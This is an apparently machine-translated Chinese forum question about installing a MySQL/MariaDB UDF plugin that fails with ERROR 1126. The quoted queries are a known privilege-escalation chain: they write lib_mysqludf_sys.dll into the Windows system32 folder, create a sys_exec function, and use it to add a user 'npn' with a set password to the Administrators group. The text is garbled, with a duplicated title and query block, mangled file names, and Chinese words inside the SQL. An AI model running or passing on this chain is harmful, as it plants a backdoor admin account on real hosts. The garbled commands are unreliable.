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我想在MySQL安裝UDF插件,但此查詢我想在MySQL安裝UDF插件,但收到錯誤
MariaDB [mysql]> CREATE FUNCTION sys_exec
RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0,)
得到錯誤(從評論:)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn值(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll')); SELECT * FROM mysql.npn INTO DUMPFILE'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME'lib_mysqludf_sys_32.dll';選擇sys_exec(「net user npn npn12345678/add」); SELECT sys_exec(「net localgroup Administrators npn/add」);我使用這些查詢的 –